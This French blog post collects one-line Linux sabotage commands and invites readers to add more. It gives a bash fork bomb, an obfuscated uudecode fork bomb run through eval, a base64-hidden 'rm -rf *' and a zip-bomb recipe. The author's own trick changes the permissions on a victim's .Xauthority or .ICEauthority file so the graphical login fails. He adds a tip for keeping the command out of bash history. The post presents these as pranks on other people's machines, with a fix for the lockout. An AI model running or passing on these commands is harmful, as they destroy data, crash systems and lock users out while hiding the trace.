Petits meurtres entre amis

J’ai trouvé cet article passionnant, j’adore ces astuces rendant le système inutilisable ha ha. Je débute une liste, j’espère que vous y participerez

Fork bomb

La fork bomb est probablement l’attaque la plus connue :(){:|:&};:, bien expliquée ici. On multiplie les processus jusqu’à saturation du système.

Advanced fork bomb

Sur le même principe mais en masquant la visibilité/compréhension de la fork bomb décrite ici (et là).

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

rm -rf *

Dans le même article l’auteur propose $(echo cm0gLXJmICoK | base64 -d) qui correspond à un rm -rf * dans le dossier courant.

Zip bomb

J’entends surtout parler de cette technique pour lutter contre les scripts kiddies et les scanners de vulnérabilité attaquant les sites web. Korben et Lord ont expliqué le principe, on zippe un gros fichier dd if=/dev/zero bs=1M count=10240 | gzip -9 > 10G.php, on le met à disposition sur son site, le scanneur tente d’ouvrir la page en décompressant le fichier qui va bouffer énormément de CPU et de RAM. J’en parle à titre informatif, ça sort du cadre de l’article présent.

En revanche les limites de la zip bomb en fournissant un fichier .zip d’une taille raisonnable (en général quelques Mo) qui après décompression des données occupera un espace disque très important ont été repoussées. Cette bombe zblg.zip (que vous pouvez renommer photos.zip par exemple) de 10 Mo initialement occupera une fois dézippée 281 To.

Ma contribution : Changer les droits de .ICEauthority ou .Xauthority

Je propose une approche différente et plus vicieuse selon moi. Sans connaissances avancées de Linux, la victime restera bloquée et ne pourra pas se sortir du piège. Je précise que c’est non destructif, aucun risque de perte de données.

Je vous renvoie vers les liens .ICEauthority et .Xauthority pour connaître le rôle de chaque fichier. Ils sont utilisés par le serveur X, .Xauthority est généré par le programme xauth notamment. Pour les lister, je fais ls -l .{ICE*,X*}. Ces fichiers appartiennent à l’utilisateur courant avec des droits 600.

ls -l .{ICE*,X*}
-rw------- 1 cascador cascador 918 Jul  6 06:08 .ICEauthority
-rw------- 1 cascador cascador  48 Jul  6 06:08 .Xauthority

Lors de l’ouverture d’une session graphique des informations sont écrites dans ces fichiers, si ce n’est pas possible… la session graphique se referme immédiatement. Concrètement vous êtes sur l’écran d’accueil, vous tapez votre mot de passe, la session s’ouvre apparemment 1-2 secondes sur un écran noir puis vous retombez sur l’écran d’accueil. Bonne chance !

Il faut que vous ayez un accès au pc de la future victime, se placer à la racine du home de l’utilisateur (ce qui est le cas par défaut lorsqu’on ouvre un terminal) puis au choix chmod 400 .ICEauthority ou chmod 400 .Xauthority. Perso je fais chmod 400 .ICE* que je précède d’un espace car lorsqu’une commande est précédée d’un espace, bash (configuration par défaut) ne logue pas la commande dans le .bash_history donc aucune trace du crime hé hé.

La beauté de la chose également est que tout continue à fonctionner parfaitement à l’instant t, c’est seulement à la prochaine ouverture de la session graphique (probablement au prochain démarrage du pc) que la victime se retrouvera totalement démunie.

Pour corriger cette petite blague :

• Sur l’écran d’accueil, Ctrl+Alt+F1 afin d’accéder à la console tty1
• Tapez les identifiants (ou demander à la victime de taper ses identifiants plutôt), ça ouvrira la session en mode terminal
• chmod 600 .ICEauthority ou chmod 600 .Xauthority suivant quel fichier vous avez modifié
• On retourne à la session graphique avec Ctrl+Alt+F7 puis vous vous loguez normalement

Pour participer

Afin de rester dans le cadre de l’article, votre proposition doit respecter les règles suivantes :

• Aucun droit superutilisateur ne doit être requis sinon il n’y a aucun intérêt, en étant root ou avec sudo il y a 1000 façons de flinguer le système
• La commande ou le concept doit rester simple/accessible à comprendre ou à mettre en œuvre, les exemples cités ci-dessus utilisent en général une seule ligne de commandes. Si vous proposez un script ça sort du cadre
• L’attaque doit être basée sur la ligne de commandes, c’est le thème principal
• L’attaque doit rendre le système inutilisable/instable

Merci d’avance à ceux qui partageront leurs propositions !